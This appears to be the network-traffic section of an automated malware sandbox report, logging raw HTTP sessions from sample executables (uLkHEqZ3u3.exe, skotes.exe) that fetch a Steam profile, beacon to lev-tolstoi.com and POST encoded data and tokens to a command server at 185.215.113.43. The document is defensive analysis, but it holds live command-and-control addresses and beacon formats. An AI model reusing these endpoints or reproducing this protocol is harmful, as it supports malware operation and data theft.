6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="token"c9f96ef34994259e9e7b677b7236d3a39dc74b806b071850a91e9395ab6f80a3bec3e082------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EBGDAAKJJDAAKFHJKJKF--
Dec 23, 2024 06:54:43.421745062 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:54:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49996	185.215.113.43	80	6220	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 06:55:03.896398067 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 06:55:05.228228092 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 05:55:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50004	185.215.113.43	80	6220	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 06:55:06.858689070 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 23, 2024 06:55:08.247556925 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 05:55:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 33 66 0d 0a 20 3c 63 3e 31 30 32 30 30 35 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 64 30 63 30 66 39 63 33 35 38 31 61 65 66 39 62 30 62 33 33 36 37 31 36 33 61 62 33 35 63 65 39 64 66 39 65 61 61 66 32 66 63 62 31 64 63 36 38 39 64 35 33 34 37 61 64 34 33 65 35 34 66 34 31 31 64 30 37 63 62 38 66 62 35 34 61 66 64 62 65 64 37 35 65 32 61 61 63 37 62 32 66 66 37 30 37 39 62 64 30 37 34 63 36 37 63 66 32 33 62 62 33 37 33 65 65 34 34 34 62 33 30 65 66 36 37 37 34 33 62 65 65 23 31 30 32 30 34 31 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 63 32 65 63 31 31 32 31 38 65 37 30 33 62 31 31 65 31 64 30 33 36 36 39 63 65 61 63 36 34 62 38 32 66 66 39 61 35 35 33 36 65 36 23 31 30 32 30 37 34 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 61 62 66 65 66 66 62 39 [TRUNCATED] Data Ascii: 73f <c>1020057001+++b5937c1ad0c0f9c3581aef9b0b3367163ab35ce9df9eaaf2fcb1dc689d5347ad43e54f411d07cb8fb54afdbed75e2aac7b2ff7079bd074c67cf23bb373ee444b30ef67743bee#1020416001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9c2ec11218e703b11e1d03669ceac64b82ff9a5536e6#1020742001+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eabfeffb9ca30804042ba5ce902415450#1020761001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1020763001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcc7a9d5143a65ae003564d5b9cd3e956b7b5d1#1020764001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1020765001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1020766001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1020767001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1020768001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbe06d9d4a43ba4ae81c [TRUNCATED]
Dec 23, 2024 06:55:08.247618914 CET	124	IN	Data Raw: 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 31 37 37 39 62 34 36 34 64 61 63 35 38 65 62 30 33 35 36 34 64 35 62 39 63 64 33 65 39 35 36 62 37 62 35 64 Data Ascii: a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd1779b464dac58eb03564d5b9cd3e956b7b5d1#1020770001+++b5937c1a99d5f9df0b5dafc8506
Dec 23, 2024 06:55:08.484188080 CET	686	IN	Data Raw: 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 32 30 37 37 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 Data Ascii: 2384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1020771001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbdb7e824073b641ab5e45425197d1aa1daaa8#1020772001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc07e80454db045e5404b

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49706	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:05 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 72 48 59 34 2b 49 47 48 65 30 4f 71 56 2f 76 50 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 39 36 38 61 31 31 65 32 65 39 31 38 65 36 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: rHY4+IGHe0OqV/vP.1Context: 2968a11e2e918e6f
2024-12-23 05:53:05 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-23 05:53:05 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 72 48 59 34 2b 49 47 48 65 30 4f 71 56 2f 76 50 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 39 36 38 61 31 31 65 32 65 39 31 38 65 36 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: rHY4+IGHe0OqV/vP.2Context: 2968a11e2e918e6f<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-23 05:53:05 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 72 48 59 34 2b 49 47 48 65 30 4f 71 56 2f 76 50 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 39 36 38 61 31 31 65 32 65 39 31 38 65 36 66 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: rHY4+IGHe0OqV/vP.3Context: 2968a11e2e918e6f
2024-12-23 05:53:05 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-23 05:53:05 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 67 4f 6d 42 67 34 54 75 73 45 43 55 6f 35 53 39 6c 70 45 59 43 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: gOmBg4TusECUo5S9lpEYCw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49707	23.55.153.106	443	5584	C:\Users\user\Desktop\uLkHEqZ3u3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:13 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-23 05:53:14 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 23 Dec 2024 05:53:14 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=5f3da991b0140af2f795958a; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-23 05:53:14 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-23 05:53:14 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-23 05:53:14 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49708	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:15 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 77 6a 4c 2f 34 45 58 42 5a 6b 53 6e 32 2f 4b 44 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 65 32 30 61 65 33 62 38 36 38 33 33 31 36 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: wjL/4EXBZkSn2/KD.1Context: 8e20ae3b86833166
2024-12-23 05:53:15 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-23 05:53:15 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 77 6a 4c 2f 34 45 58 42 5a 6b 53 6e 32 2f 4b 44 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 65 32 30 61 65 33 62 38 36 38 33 33 31 36 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: wjL/4EXBZkSn2/KD.2Context: 8e20ae3b86833166<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-23 05:53:15 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 77 6a 4c 2f 34 45 58 42 5a 6b 53 6e 32 2f 4b 44 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 65 32 30 61 65 33 62 38 36 38 33 33 31 36 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: wjL/4EXBZkSn2/KD.3Context: 8e20ae3b86833166<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-23 05:53:16 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-23 05:53:16 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 5a 39 72 77 79 43 53 4f 6a 6b 4b 49 55 51 76 2f 70 4b 72 6b 66 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Z9rwyCSOjkKIUQv/pKrkfw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49710	104.21.66.86	443	5584	C:\Users\user\Desktop\uLkHEqZ3u3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:16 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-23 05:53:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 05:53:16 UTC	1133	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:53:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9fh7sbn8do8fm4crn81tuch89b; expires=Thu, 17 Apr 2025 23:39:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K%2FnrR%2Fy0UEjuc%2FlR06vorm81pf2q32%2FzeNenSHfvuGO%2BlLANV1oxOEGrlpsliSrFK4sP8KgyjvFVDpb3ifYJQdPVbw5eDB%2FZn6pu4bURECVJjtmB7B%2Fxh4ECYw%2F3iuxlZgI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66171e2cf54231-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2074&min_rtt=2073&rtt_var=781&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=906&delivery_rate=1398467&cwnd=127&unsent_bytes=0&cid=e818d58970fe22ca&ts=770&x=0"
2024-12-23 05:53:16 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 05:53:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49709	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:16 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4d 41 48 55 49 36 55 6d 37 45 43 35 69 57 63 55 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 31 37 38 62 30 32 30 34 61 61 35 32 36 66 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: MAHUI6Um7EC5iWcU.1Context: 8178b0204aa526ff
2024-12-23 05:53:16 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
